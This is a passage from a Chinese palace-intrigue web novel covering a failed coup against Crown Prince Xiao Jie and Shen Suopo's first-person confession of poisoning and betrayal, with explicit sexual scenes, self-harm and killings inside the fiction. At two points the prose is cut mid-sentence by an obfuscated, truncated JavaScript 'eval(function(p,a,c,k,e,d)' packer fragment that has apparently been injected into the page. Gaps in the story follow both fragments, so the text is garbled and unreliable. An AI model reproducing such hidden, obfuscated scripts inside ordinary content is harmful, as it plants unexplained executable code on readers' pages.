户部尚书:(焦急地)都听说了吗,皇帝近日有了新旨,打算让幽闭行宫的太子监国!这可怎么得了! 吏部尚书:只听闻接他去甘露殿,没见着监国的明旨啊? 户部尚书:我有在行宫的人,亲口所言,错不了!更何况入主帝寝,这不是摆明的事吗? 左骁卫中郎将:陛下的身体怕没几天了,就算没有监国这一出,早晚也是太子登基。 户部尚书:太子登基——我三个儿子十名子侄都折到了这厮手里,要他继承大统,除非踏着我满门的尸体! 吏部尚书:(对虞山铖)老哥哥,您也出出主意。太子一旦执政,当即会对阿芙蓉案大行清洗,咱们有一个算一个,谁都跑不了! 虞山铖:(沉声地)不如,先下手为强! 户部尚书:(吃惊地)你要造反? 虞山铖:不,是太子要造反!皇帝病重,如果这时候太子率兵逼宫,他还能监国登基吗? 户部尚书:话是不错,但太子怎么可能造反? 虞山铖:他不用造反,只要玉符调兵逼宫,万事皆成,要知道,太子玉符即是太子军令。 吏部尚书:你要拿玉符?此物由太子近身保管,这怎么可能! 虞山铖:(镇定地)事在人为。 【第一把空椅子被光束打亮。一个戴斗笠的人坐在一种,看上去有些年纪。他身后,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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户部尚书:(击掌在膝)罂粟,这不是天成的买卖吗!但凡能报此仇,各地的罂粟田都匀给他们也不成问题! 虞山铖:就看贤兄们肯不肯上这条船了。 【屋外突然轻响一声。】 虞山铖:(厉声地)谁! 左骁卫中郎将:(快步走去,推门察看)一只猫。 吏部尚书:嘉国公…… 户部尚书:(皱眉打断)崔老弟,你再三迟疑,是觉得朝中有崔鲲这个同宗能帮衬你吗?别忘了,崔鲲可是皇太子的拥趸,指望她为你死去的一双儿子报仇,那是痴人说梦!也别惦记你们家那点细柳营的余荫了,许仲纪的事出了,细柳营是什么名声?在座众位谁的祖上不是贤臣良将,我的太祖还是开国的宰相,如今家里的根都断了! 吏部尚书:(声音颤抖)我两个儿子的性命啊,我岂能不恨!我只是觉得,此事未必是个完全之策。 虞山铖:哦,愿闻其详。 吏部尚书:老哥哥,你这盘棋里,玉符可是重中之重。若无法窃出,怎么办?如果事成,太子谋逆,皇帝殡天后,谁又来做这个新君? 虞山铖:崔兄,如今要窃玉符,不过探囊取物。至于皇帝人选,也绝对让众位心服口服。 …… 永巷尽头,一轮金阳悬挂,像虞山铖亲手点亮在暗室中的蜡烛。 今天究竟错在哪一步,仅仅是玉符的失误吗? 影子按计戴上面具,换掉禁军将领,顺利带兵直入内宫。清早递来的东宫玉符起到至关重要的作用,承天门、嘉德门、太极门、朱明门四道宫门畅行无阻。这时候,行宫中人应当已经将萧玠缢杀在室了——萧玠还活着,出了什么差错?他们趁时入宫,抢在皇帝之前清除“太子逆党”—— 在这里,计划出现了裂口。 这时,影子率领的禁军队伍在离内宫一步之遥处的两仪门下被拦住,把守在此的龙武卫宣布,符印勘合有误,太子玉符系伪造。伪令宣布的瞬间,身后禁军突然反扑,面前,是巍峨高耸的两仪门,和龙武卫齐齐拔出的剑锋。 虞山铖突然了悟,这是一场卓越的请君入瓮。自己是被放进宫的。 方才俯首帖耳的禁军突然反戈——禁军听命是演戏。 本该以一敌百的影子居然毫无还手之力——太子早就了解影子介入、扮演什么角色,并做出应对措施。 四道通达无阻的宫门——为的就是后来的首尾夹击,将他们彻底咬死巷中。关门打狗、永绝后患。 生死关头,虞山铖只能最后一搏。他下令点燃火炮,以这些铜炮的口径和威力,绝对能把宫墙和太子军队一起炸成焦炭—— 数口炮车,无一作响。 是臭火——太子把人安插在了他身边。 虞山铖深吸口气,看来,太子在入宫之前就做好安排。 不,更早,从第一枚棋子落下之前就开始了。 他盗走了萧玠的假玉符,萧玠盗走了他整个计划。 满盘皆输。 他睁开眼睛,注目太子,这个皇帝的孤雏,已经从那片和他儿子一块沉沦过的泥淖里挣扎出来了。这不是件好事,但也算不上太坏。活人的一切,马上与他无关了。太阳和永巷边两堵墙体已经把阴阳之界画下来,太子站在阳光里,自己站在阴影里。每个大梁人都知道,阴阳通常是死生的暗语。这一刻虞山铖想起他原本意气风发的儿子,儿子如今蜷缩的后背像个魂灵一样在他眼前闪过,灰暗的,绝对晒不到太阳。但又微光闪烁,并非全然的阴翳。 这一瞬虞山铖不仅看到结局,甚至明了了起因。成王败寇,这是他戎马一生的老父从小给他的训诫。他听到尉迟松请旨,问太子如何处置,太子毫无感情的声音落下,像个春雷在地面上爆炸。 太子说当即格杀。 …… 尸体仆地的扑通声响起时,萧玠一只脚登上车辇。 他顿住了,尉迟松当即要搀扶,却被一旁的郑绥制止。萧玠就这么一只脚在车,一只脚在地,很久没能把身体拖到车上去。直到公卿们的鲜血蜿蜒到他脚下,萧玠终于抬起那只木舄,在车上留下一个祝福似的红脚印。 郑绥问:“要去见陛下吗?” 他冷静道:“回行宫,立刻。” 车驾驶动了,萧玠却觉得自己在静止,是世界摇摇欲坠起来。血洗过的太阳依旧悬挂高天,一顶金冠般晃晃荡荡地戴在两仪门上。太子车辇穿门而过时,太阳也照耀他,阴影也覆盖他,生死都施加给他。那顶把他父亲压得半死的冠冕,现在戴在他头上了。 他尽力不去看脚底,但那个血脚印随着车驾颠簸,像一片纸花落在水上一样,自己漂浮到萧玠眼前。萧玠闭上眼睛,看不到了却能听到。他听到那个夜晚,扮作内侍的虞闻道跪在他脚下,声音从嗓子里挤出来。他说—— “我爹要造反。” 100.第 100 章 萧玠推开西暖阁的门时,沈娑婆果然已经坐在床边等他。 他穿着他们头一次见面的那身素色春衫,手正调动琵琶轸子,那是萧玠作为赏赐送给他的第一份礼物。他看见门外龙武卫簇拥下的萧玠,跟看见平日下朝回来的萧玠一样,只笑道:“殿下回来了,没去春祭吗?” 萧玠道:“中午才过去,不着急。” 他跨进门来,没有任何示意,身后的郑绥已经将门关上。太阳一下子隔绝在外,屋里照进的阳光立马阴成腾腾的雾气,显得鬼气森森。 这不是沈娑婆第一次见萧玠穿吉服的样子,却是他第一次无比直观地意识到,这个人在自己面前赤身裸体情态百出是甘愿。当他盛装严服出现之时,那些春宫秘事沾不上他的衣角半分,这的确是个万人膜拜的皇太子。 皇太子萧玠走上前,看到红被上一块指甲盖大小的干涸的浊痕,分不清是他的还是沈娑婆的,宫人彻底打扫之后,仍有痕迹遗落。萧玠没说什么,仍像个情人一样地从沈娑婆对面坐下,坐到了那块痕迹上。这么一坐,他仍能感到腰背的酸痛。 他从袖中拿出放玉符的匣子,放到沈娑婆面前。 沈娑婆看了一眼,淡淡道:“哦,是臣拿给的嘉国公。臣和他们一直有交易,他要,臣就给了。” 萧玠并不意外,语气平静:“为什么。” 沈娑婆调好了轸子,上手试弦,却说起另一桩事:“殿下记不记得,咱们定情那夜,你从头到尾看完的那出禁戏。” “那个故事里,男人腹中的胎动是你,但被掼下去的襁褓,是我。” 萧玠没说话,不知道是惊讶,还是无话可说。 反倒沈娑婆有些感慨,道:“殿下应该知道,怀帝崩逝、也就是她三十岁那年,生了一个男孩儿。她没给儿子取好名字,否去的便有百数之多。孟露先才高八斗,整整一个月也未能定夺。孩子一出生,怀帝就册他为太子,因他生在三月,劝春三月梨花最好,便取了小名儿,叫阿梨儿。从此,梨木称太子木,林囿称太子苑。” 沈娑婆脸上,像开了一朵盛到极处的昙花。看似艳丽,马上就要枯萎了。他道:“再过一年,秦公二十四岁、今上二十二岁那年,也生了一个男孩儿。和怀帝不同,这个男孩儿在腹中三月时就有了名字。玠者大圭,其意昭昭。他会是天子和诸侯共同的掌上之宝。他那时大约才……” 沈娑婆松开琵琶,用手比了比,说:“这么大小,像个……” “像个橙子。”萧玠接道。 “是,橙子。”沈娑婆颔首,“只是北方的橙子很难好吃。幸亏是个南方的种子,虽然病殃殃的,但也长到了这么大。不像那棵梨树,一种下就死了。” 萧玠道:“我听宫人说,那个孩子被怀帝掼在阶下,当场血肉模糊了。” 沈娑婆笑道:“是,但那并不是怀帝的儿子。教坊都知郭雍容有一个出生不久的外孙,他做了回程婴,用自家的孩子换了他。殿下知道,教坊多的是怀帝旧人。” 萧玠问:“既如此,为什么把他交到何仙丘手里。教坊旧人会虐待怀帝的儿子吗?” “他不只是怀帝的儿子,也是杀害怀帝的凶手的儿子。那个孩子,是范汝晖的种。”沈娑婆提起一个名字,“至于何仙丘……殿下或许听说过,怀帝有个叫贺蓬莱的表弟。” 蓬莱者,仙丘也。 萧玠睫毛一颤,“他没有死。” “他没有死,但精神出了问题。当他想起这是他姐姐的遗孤时,待这个孩子千好万好。但一想起这是范汝晖的儿子,他就要施暴,要殴打。他逼迫这个孩子学怀帝的琵琶技艺,五岁时弹错一个音,就要穿单衣在腊月天弹到半夜为止。睡觉前经常掐着他的脖子,问你为什么不去死,醒来时就坐在床边给他敷药,掉着眼泪问,阿梨儿你要不要喝鱼汤。” 那笑意似乎镌刻在沈娑婆脸上,他还在笑,他说:“殿下,至亲要杀你的感受,你并不明白。噩梦永远不能成真,但我就是这么过活的。我时时刻刻觉得自己应该去死。殿下,他们不肯放过我。” 为什么不肯放过我呢。 萧玠没有去接这段情绪的尾巴,静了一会,继续道:“但何仙丘死了。他死之后,你为什么不收手?” 沈娑婆反问:“他死了吗?” “你亲手杀了他,禁卫当场验了尸,我瞧见了。” “眼见未必为实。”沈娑婆笑了笑,“不过现在,他也快出现了。” 屋里安静下来,春日暧暧,罗帐低垂,空气里甚至还残存着昨夜的麝香腥气。两个情人坐在红床边,却像两个仇人坐在血泊里。好一会,沈娑婆捏住琵琶颈子横抱在怀,终于肯讲那件最残忍的事:“殿下早怀疑了吧。” 九道旒珠帘子将萧玠的脸隔绝在后,他真实的情绪也无法从声音中判断出来。萧玠道:“没有那么早,之前我只以为是你旧疾发作。直到见了虞闻道,他告诉我,他父亲要谋逆。从他的话里,我发现虞山铖对我的日常动向了如指掌。我就知道出了内鬼。” “我真的不想怀疑你,但那些画面就往我脑子里跑。我想起追查阿芙蓉案,每次都是你言语点拨。在潮州时,郑绥说了枇杷膏的事,你明明没在当场,却能捻着酸说梨膏。那天晚上我见虞闻道回来,你急了,讲到《搜神记》,但《搜神记》是送你离开柳州后,我为了纾解压力才翻看的,回京之后落在陛下那里,再没有看过……还有,那晚你告诉我,你眼见我和虞闻道相会。但你没有跟出去。” 萧玠顿了顿,道:“那晚小径潮湿,你鞋底没有泥。你撒谎了。这件事是有人告诉你的。除了地上那只被打碎的茶碗外,你对面的桌上还放着一只。” 沈娑婆道:“殿下慧眼如炬。” 萧玠看向他手臂,这件新换的衣裳没有再沾血迹。或许是伤口结疤了,或许,是他已经没有因痛苦而自残的必要。 萧玠问:“你很早之前就开始割手臂了,你在那时候起,就决定这么做了,是不是?” 沈娑婆不答,反问:“殿下是什么时候做的决定?” 萧玠说:“昨晚。” 他笑了笑,自嘲道:“郎心似铁,非我黔驴之技可以撼动。是我自不量力。” 萧玠看着袖口露出的一寸手腕,隐约露出沈娑婆昨夜留下的青紫痕迹。他盯着那淤痕,低声道:“怀帝的儿子要报家仇,范汝晖的儿子要报国恨。所以,你找上了我。” “可,为什么找上我呢?” 沈娑婆没有回答。 萧玠终于把头垂下来,太子礼服的枷锁下,他终于有点像一个被背叛的有情人一样,身体微微抖动。但沈娑婆清楚,他不会为自己流泪,他恨也好爱也罢的眼泪已经在昨晚流尽了。他是个判官,他来不是为别的,只是要明堂宣判。 果然,萧玠声音响起,真的那么平静:“公然和你好一场,是我做过最勇敢的事。我依旧不后悔。但我不会让任何人伤害陛下。身体发肤受之父母,为了他,我也不会轻易损伤自己。仅此一次了,七郎,我只允许你伤害我这一次。” 沈娑婆默了一会,问:“臣还有一些秘密,殿下想听吗?” 萧玠说:“到此为止吧。” 他站起来,背着阳光,像一个悲悯又无情的上位者一样,从袖中取出一只青瓷小瓶放在沈娑婆面前。 那瓶子上悬挂一根红线,是萧玠清洗柳州送走沈娑婆前,沈娑婆明示的殉情之物。 萧玠道:“窃取玉符、构陷储君之罪非同小可,我不会为你开脱,也不会为你收尸,你的同谋,我一个不会放过。我能做的,只有为你诵经三日,祝你早登极乐,来世莫生帝王家。” 沈娑婆深深望了他一眼,说:“臣只有一个请求。臣想与殿下合奏最后一曲。” 萧玠点头。 窗边,团团梨花照眼。 这一刻,萧玠生发出一种近乎恻隐的心绪。不为他们的前情,只为这个人。他无言,从壁上摘下自己那把琵琶,轻轻一拨,沈娑婆已抬手相和。他无法判断从前的知音是有多少算计,但今时今日的弦声,一定是彻彻底底的灵犀。 刹那的弦动里,萧玠看到了一切:何仙丘的手板、屏风后的人影、跳进人的池塘、罗帐底的手掌,还有很久以前,范汝晖沾血泥的靴底,和萧伯如掼襁褓的玉阶。最后是一张少年笑脸。 梨花白如春雪。 他又拨了一下弦,开始了对情人的临终告别。 …… 我吞掉那瓶毒酒后,重新抱起琵琶。 那滑润的液体被吞咽下去,我先感觉喉部被一双手紧紧扼住。被酒液刺激的腺体像我全部的甜言蜜语一样堵塞我的喉咙。我明白,萧玠不会让我说话了。他两任老师都教给他以史为鉴的道理,他从我的花言巧语里栽了太大的跟头也吃了太多的苦头。我想他也明白,我对他的全部谎话,其实少有假话。 杰出的谎话是一假九真,杰出的说谎者是自欺欺人。这其实和音乐异曲同工。现在,我和萧玠最后一场合奏即将结束,我人生中最杰出的一场演奏即将落幕。我终于可以讲一讲,我对萧玠的谎话、对你们的谎话了。 我对萧玠的狩猎计划,远比他以为的还要早。我被从池塘里捞起来的那个晚上,我的舅舅何仙丘替我擦拭身体。他脸上丑陋的疤痕在灯光下闪动,那是我生母之死为他凿下的伤痕。他为了隐姓埋名地抚养我,主动毁去容貌,甚至抛弃我母亲当政后才恢复的贺氏一族的荣耀,变成一只墙角的尹威和暗室里的老鼠。他真的无怨无悔吗?我不知道。我当时在他舐犊般的抚摸中瑟瑟发抖。 我舅舅说,阿梨儿,这样吧,咱们再做最后一件事。做完,我们就家去。 家去,哪有家,因无人接管已被今上划归公田的山阳贺家吗? 我没有问,他也没指望我回答。我舅舅撩开我的头发,冲我的耳朵说,皇太子和他爹闹了一架,要搬到这边来住了。 皇太子,一个存在于东边云端上的称号。我眼珠动了动,没有说话。这时候,我舅舅已经拿手巾一根一根擦拭我的手。 他每次看到我那双弹琵琶的手时,眼中总放出过度明亮的病态光芒,我也就知道,我最像生母的是这双手。他捧着我毫无力气的手,像捧着他姐姐弥留之际那五根纤纤玉指一样,说,我是在帮你,阿梨儿,我只想给你拿回你的东西。他爹杀了你父母,毁了你一辈子。好孩子,他占的是你的位置。 我感觉好笑,到底谁毁了我的一辈子?最后,只是动了动嘴唇,说,我不想要,你放过我吧。 我舅舅仍擦着我的手,边擦边柔声说道,弄死太子。不弄死他,你别想活,也别想死。 我盯着那只被他捧着的手,被池水浸泡得比手巾还要白,这只死人的手长在我身上,但我居然没有死。 我可以活,也可以死,但我没法再像鬼魂一样受他日复一日的折磨和监视,没法再喘着气,却做一块彻头彻尾的死肉。 我问,太子倒了,你就放我走? 我舅舅笑,就放你走。 走、走……走!我必须得走。 太子萧玠一度成为唯一能把我拉向生天的绳索。哪怕我心知肚明,这大抵是我舅舅放进井里的一条毒蛇。 太子的身世一直是宫闱秘谈,但在行宫消息网中,却是几乎大白的故事。这是最好做文章的一点,也是最容易让我取其信任的一点。自此,我开始练习那首南地童谣,弹奏时我似乎能看到太子的形貌,多愁善感,伤春悲秋,身体像一株病柳一样当风飘摇。 所有的巧合都是精心设计,萧玠的行踪逃得过寻常宫人的耳目,却逃不过行宫的天罗地网。我父亲燕国的遗民和我母亲教坊的遗党一起,在完成对太子的搜寻工作后,构成接下来整个演出的幕后人员和舞台背景。 在听见萧玠的琵琶声前,我已然知道他置身何处。 接下来,我第一次见到萧玠,和我想象的同也不同。 万树梨花,纷纷如雪,他看到我时的神态分明是一只惊鸿。我用他脐带连接的音乐安抚了他。这首曲子,我为了这个初遇练过成千上万遍。 但不得不说,萧玠的音乐也俘获了我偶尔活着的一部分。他太有天赋,太有灵性了。他完全不像个人,而是个动物,精灵,一切自然创造未受人世污染之物。皇帝把他保护得真的很好。 这次被音乐唤起的恻隐,让我放弃了刺杀之计。 如果事成之后我能走,我真的想活。我得功成身退,我不能做我舅舅复仇成功后弃置的断刃。 我想要自由。 这天夜里,游骑将军郑绥的马蹄惊醒了整座行宫。接着,西暖阁传来太子夜出的消息,不一会我被告知,萧玠闯进了女浴的芙蓉汤池。 这是我接近萧玠的绝佳时机。 为此,我迅速导演了第一场完整的情景剧。那位出身燕国的箜篌手忆奴,负责带着她的情人去芙蓉池偷情,再将萧玠当场撞破。在萧玠手忙脚乱之际,在窗下等待多时的我出声将二人惊动。这既引出我接下来替萧玠解困,又为她对萧玠的揭发埋伏。 我发现了萧玠遗落的铜钱。 这也成为我替萧玠顶罪的重要道具。我必须取得他的感激和信任。 这是一步险棋,因为我对他的维护没有十足的动机。当然,更得有我舅舅和我互唱红白脸的配合。他极力钉死我的罪名,就是为了落实萧玠的愧疚之情。但他不知道的是,那夜,我发现了萧玠的另一个秘密。 在忆奴到场之前,我目睹了萧玠的自卝渎。 即将结束时,他叫了一个名字。我分辨出那是游骑将军之名,也就明白他今日的离席所为何事。 大梁的皇太子,皇帝唯一的儿子,是个龙阳。 这让我重新思考整个计划的定位。我本想做他的知音在侧,现如今,未必不可以更进一步。 我不喜欢男人,也不喜欢女人,我只喜欢自由。哪怕是死的自由。 按计,我赢得了萧玠的信任,但实在没想到皇帝会亲自审问。他太冷静,太敏锐,眼睛太毒辣了。皇帝几乎一开始就窥破了我的居心叵测,但幸亏萧玠夹在父子矛盾的围墙里,对外界环境的危机无知无觉。 我就这么被萧玠强行保了下来。 相处的一段时间,我发现自己低估了萧玠的聪慧。他迅速判断出行宫眼线的存在,甚至找出与朝臣走动的一条暗线春玲儿。要知道,春玲儿人在教坊,一旦深挖下去,她和我父母之间的主仆关系也难以遮掩。 春玲儿必须死。 当天,我舅舅找到我,要我不再插手此事。我问,春玲儿出事,不就摸到了朝臣的关系? 我舅舅笑了,狗咬狗的好戏,这不正巧吗? 我舅舅坐在灯下,像一段枯木,又像一条伪装枯木的河鳄。我突然想起,迫死我生母的有两拨人,一拨是造反的今上,一拨是逼宫的世族。 他和世族合作,有无互通。但同时,世族也是我舅舅的必杀之仇。 不管是借朝臣之力削弱皇帝,还是借皇帝之手铲除世族,对他而言,都是大仇得报。 我遍体生寒。 原来如此。 我既是我母亲的骨肉,又是迫死我母亲的凶手的种。 他要我活,也不肯放过我。 我受不了了。 我得走,我得赶紧走。 还记得萧玠在行宫那场无缘无故的重病吗?皇帝几乎把行宫翻了个底朝天,也没有找到任何嫌疑人物。 因为我就藏在萧玠身边,而我的工具早已毁掉。 是的,我给萧玠修的那副琵琶弦,上的弦油是一种叫做锦花枯的毒油。常日触碰,毒入肌骨,性命即危。 萧玠如期病倒,我的生天近在眼前。他一死,我就自由了,我终于能自由了。 但我依旧喘不过气来。 病榻上,萧玠看着我,拉过我的手说,多想和你再弹一曲啊。 我流下眼泪。 他那根生命的蜡烛几乎被蜡油淹没,他却仍执意点燃。他撑着逼皇帝娶妻,打理自己的后事,有天我来弹琵琶,看他打开箱奁,把所有的东西铺在床上,估计是他从小到大的衣服玩意,我看他的手从一只断头风筝上掠过,捧起一条撕裂的深红衣服边,紧紧抱在怀里。 他开始等待他南秦的父亲。等了一天、两天、十二天。 第十二天,我没有在他的脸上看到眼泪。 萧玠终于病危。 我后悔了。 据传锦花枯之毒至今未有解药,从南秦而来的郑挽青告诉我们,大部分据传是不牢靠的。幸亏不牢靠。 萧玠活了过来,谢天谢地他活了过来。他居然活了过来。他怎么就活了过来。 萧玠好转的一个夜晚,我舅舅再度找到我。他丧心病狂的那一面再次暴露出来,他掐住我的脖子说,轻声细语说,杀了他一次,就能杀第二次。你是个乖孩子,你是你母亲唯一的孩子。杀了他,杀了他我们家去。你就能自由。 我张了张嘴,终于从喉咙里挤出声音。我问,一定要杀他? 一定要杀他。我舅舅说,他死了,皇帝怎么活得下去? 他撕心裂肺地叫起来,阿梨儿,这是你母亲的皇位,这是你的皇位!他们父子鸠占鹊巢那么多年了!你要拿回来,你要替你母亲拿回来! 我看着他,问,我们不是家去吗? 我舅舅笑,怎么不是家去?东宫跟前的那棵梨树是你娘亲手为你种的,甘露殿,本该是你的家呀。 他那五根手指在我咽喉的感觉,和最后那杯毒酒发作时的感觉几乎无二。我知道,我舅舅活一天,我就不得自由。 这次,我开始了一个人的计划。 我要毁掉这座压了我十数年的蓬莱仙丘。 凭我一人之力,实难杀我老谋深算的舅舅,所以要借一个更老谋深算之人的手。 我知道皇帝仍在追究毒害太子的凶手,而这时候,教坊的香官行动了。 香官的身份只有一层,一层是教坊管理排箫的吏员,一层是王氏兄弟安插的眼线。他和我舅舅,只有第一层的上下级关系,也就是说,他埋放偶人的行动,只是世家的安排。 他为了方便行动,前一日专门拜访我舅舅,请求让他跟随献乐的教坊队伍同去东宫。 这样外人看来,二人就有了私相授受的时机。 这也是我千载难逢的好时机。 皇帝太过老辣,我不敢直接嫁祸,只能先把祸水引到自己身上。我这样一个年轻人和太子能有何仇怨?背后肯定是有人指使或栽赃。想从我身上把我舅舅查出来,太容易了。而所有证据指向我舅舅时,香官为了隐蔽他真正的上线、那对王氏兄弟,绝对会一口咬死在我舅舅身上。 这是个几乎万无一失的妙局。 那一失是,我的真正身份很容易露出破绽。 行宫中我生父母的遗党绝对守口如瓶,就怕我舅舅玉石俱焚。 所以在皇后太子面前,我铤而走险,完成了一次“救驾”。 他藏在腰带里的匕首我太过熟悉,我扑身上前,借衣袖遮掩将匕首拔出刺进他胸口,把所有的秘密关在死人的嘴里。 那一刻我真的以为我手刃了十七年的噩梦。 我以为我自由了。 我紧绷了十七年的神经松坼下来,终于能放出一点恍恍惚惚的真正情绪。那一段时间,萧玠对我百般呵护。我发现他是个很天真的孩子,天真和聪慧并不冲突。我伤害过他,但那时我突然有点庆幸,我的那些伤害,没给他造成致命的打击。 到此为止吧。 和萧玠相忘江湖,或许是我们最好的结局。 我离开东宫,准备往江南去。听说江南风光好,到了冬天枝头还有绿芽,腊月的池塘跳下去也不会撞到寒冰。我那天感觉,这是我十七年来真真正正活着的第一天。 直到我准备启程,去教坊北巷收拾行囊。 深夜,我原本该一旁漆黑的窗户里,点着一盏灯。灯边坐着我本该死去的舅舅。我舅舅冲我笑,跟十七年来我在他手底过的每个夜晚一样。 我毛骨悚然。 他叫我,阿梨儿,还要我喊你吗? 我不知道怎么才迈动步子走向的他。 我感觉自己的□□一软,扑通跪在他脚下。 我知道整座行宫遍布他监视我的眼睛。我知道哪怕他死了这眼睛也不会瞎。 我知道,我这辈子跑不掉了。 再后来,玉陷园的风波掀起来,萧玠一块白玉落入泥潭,玉碎不能,又洗不干净。皇太子的床笫秘事绘声绘色传遍大梁每个角落,自然,包括行宫。所有人添油加醋地描述捉奸场景,传说禁卫和官吏闯入时,虞家世子正把他操到床下,皇太子的□□声连大雨都盖不住……女孩们红着脸叫嚷着要走,剩下不少人都听得口干舌燥。萧玠这样身份贵重又弱质清秀的男孩子,最容易引人遐想。我听不下去了。我心里难受的厉害。 萧玠真的还能活下去吗? 这是甚至包括我舅舅在内,所有人的一个疑问。 等我再见萧玠,是他来行宫养病期间。短短几个月让萧玠变得判若两人,神情躲闪,脸色灰败,整个人都裹到披风里,脸也被风帽严实盖住。我舅舅没有执行再次刺杀太子的计划,因为他和所有人一样,坚信萧玠活不久了。 果然,几天后,萧玠夜登城墙。 我把他拉了下来。 当夜,我再次跪在我舅舅脚边。我舅舅抱着我的琵琶,等我的解释。我没法告诉他,站在女墙上的萧玠,和我在池塘边看见的自己的脸有多么相像。 我说,我有一个新的计划。用太子之死报复皇帝,真的够吗? 我舅舅兴趣盎然。 我吞咽一下,说,我得接近萧玠,成为他身边最亲近的人。你只想报仇,不想光复我娘的年号吗? 我看到他眼中光芒疯狂闪动。我糊弄过去了。 糊弄一时是一时吧。 就这样,我从萧玠身边安定下来。他不信任任何人,除了我。他不能让任何人触碰他除了我。这种独一无二的信任,像一把刀一样搅动我的肠子。那天他终于能够主动握住我的手,我们俩一块看着那十指相扣的两只手,一块笑出了眼泪。 为什么他非得是萧玠,为什么,我非得是我? 自萧玠重病,皇帝仍在追查下毒之人,只怕不久会追查到我头上。我舅舅决定扔出一枚弃子。 他使动人手,将忆奴赠送萧玠的那本明王经换作锦花枯毒墨抄写之物,又以其情人妙娘为要挟,让忆奴替我顶罪,好让我在萧玠身边安安稳稳地潜伏下来。 我在事发前去看望忆奴,此时她已同妙娘大闹一场彻底决裂。临别时,她向我叩首,请我尽力照拂妙娘,她虽死无憾。 我应承了她。 但我不明白,我真的不明白。据我所知,我的生父为权势害死我的生母,而我生母的情人也默许了这场逼杀。情应当是最虚无缥缈之物。 竟有人为情宁肯一死吗? 我不是一个健康的人,但我娴熟地扮演了十多年的健康人,这次我扮演萧玠的郎中,一切进行得十分顺利。直到我们开始复刻玉陷园的夜晚,我让他复述虞闻道对他的触碰。 我借萧玠断断续续的讲述,看见了他们的相交场景。 那个雷雨之夜,电光蛇一样扭动,萧玠电一样扭动。我看到药物作用下他的神情,他翻过的双眼,上下的身体,水光闪烁的脸颊,和高声乱叫的张开的嘴唇。我看到那双肤色较深的手捏紧他腰下时,萧玠哀叫一声,宛如濒死。 沈郎。萧玠这时候叫我。他抱着膝盖坐在我面前,身体从床里缩着,怯生生问,你怎么了? 我摇摇头,抬手拂开他脸畔发丝。萧玠浑身一僵,但强迫自己没有躲。 一次午睡后,我撞见萧玠的自卝渎。由此确信,他从前对虞闻道不无喜欢。这不是个好兆头。这意味着我在他身边这个“最亲近”的位置可能持续不了太久。 那天我开始对他进行玉陷园的复刻,先用手,然后循序渐进,到了接吻。 萧玠像个小孩,我怎么亲,他只会学。他这样子的确很让人产生凌虐欲。他那条舌头只敢像小孩子牵人衣袖一样,尝试着探一探,再探一探。我缠住他时,听到他难以呼吸的哽咽声。我往后撤了撤,没一会结束了这次接触。 我发现我自己兴奋了。 虞闻道和萧玠的感情还没成熟就导向肉卝体,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个夜晚,讲述我们两个共同故事的折子当台奏响。郭雍容真是前朝的大剧作者,一段君臣关系里包含了三段感情的主要角色:为今上怀胎的秦公、与孟蘅同性相爱的我母亲,以及逼宫上殿的我父亲。 我知道萧玠不知内情。 月色深处,萧玠公然向我剖白。他这么个瓷一样脆冰一样薄的人,居然有一颗烈火滚烫的心脏。 那晚是我最后一次挣扎,我试图推开他。但他月亮一样地落在面前,我这个阴暗里活了十多年的人,怎么推得开他? 我说我会害死你,他只以为是情话。但那绝非空口白牙。 在床笫事上,我有意训诫萧玠,让他至少在肉卝体上离不开我这剂毒药。他的身体并不适合贪欢纵欲,我们密集的亲热无异于一种饮鸩止渴。但我不管,我管天管地管生管死我管够了。我喜欢在床上时刻对萧玠完全的掌控,这时候他会听话乖顺得像只羔羊。我喜欢仅靠亲吻就让他身软腿麻的控制感。而萧玠总会小心翼翼地取悦我,玉陷园带给他的阴影尚未散去,他便常觉愧疚。我喜欢看他在床上截然不同的扭捏和淫卝荡。我喜欢看他任我取求的讨好。我喜欢看他赤.身.裸.体又眼泪淋淋。我不管,我就是喜欢。 这段关系确立之后,我又病了。每当我要动摇一次,我就会刻自己一刀。这时候我舅舅的逼迫已经无关紧要,现在是我想。 我想和萧玠一起去死,我活不下去,我舍不得他。这么好的一个人我怎么能放下他,这么好的一个人我怎么能放过他?这么好的一个人,我怎么还能继续毒害他,我怎么能带他和我一块死呢? 我每行动一步,他就往深渊前进一步。他每前进一步,我就多刻一刀。我每刻一刀,他就更靠近一寸真相。 以萧玠的聪慧,不可能看不出我的异样。 我一开始就没打算瞒他。 尽早发现,尽早结束吧。 我舅舅心性颠三倒四,他热衷于借力打力和一箭双雕。当萧玠巡行潮州时,他要我引导萧玠追查柳州罂粟,他要做皇帝父子和世族争斗后的得利渔翁。我听命了,我顺从了,但我的听命和顺从只是懒于挣扎。什么结局都无所谓了。毁掉我或毁掉萧玠,对我来说有什么区别呢? 萧玠把我送走,只把郑绥留下。郑绥,绥郎,萧玠这么叫他,比七郎更像叫情郎。萧玠在行动上极有分寸,但感情上却一直模糊。像他先前分不清对虞闻道的心意,后来不敢承认对我的心意一样,他正直地认为自己和郑绥清清白白,但我知道,他心中未必没有此人一席之地。而郑绥,这个萧玠的近水楼台,却比任何人先一步错失月亮。我不相信他对萧玠坦坦荡荡。 我吻萧玠时注意郑绥的脸色,他垂着脸似乎面无表情。 真是个好忍的人。 我捏着萧玠的脸继续亲下去。 那你他妈就慢慢忍吧。 当我乘车转回潮州时,我开始猜忌萧玠在探查阿芙蓉的间隙,是不是和郑绥上床。我意识到我的病越来越厉害了。那个最真实的我已经无法被这张人皮包裹了。在我寤寐辗转都是他两个野鸳鸯偷情苟合的虚影时,快马赶来的左卫将我拦在石桥上。皇太子遍屠柳州城的消息,已经热热闹闹传开了。 我喘了口气,问,杀了多少? 萧玠从未遮掩过和我的关系,左卫士兵对我多少也有些尊重,叹气道,与会之人全部斩首,柳州城里的房屋已经空了一半,半条赤衣江都染红了。 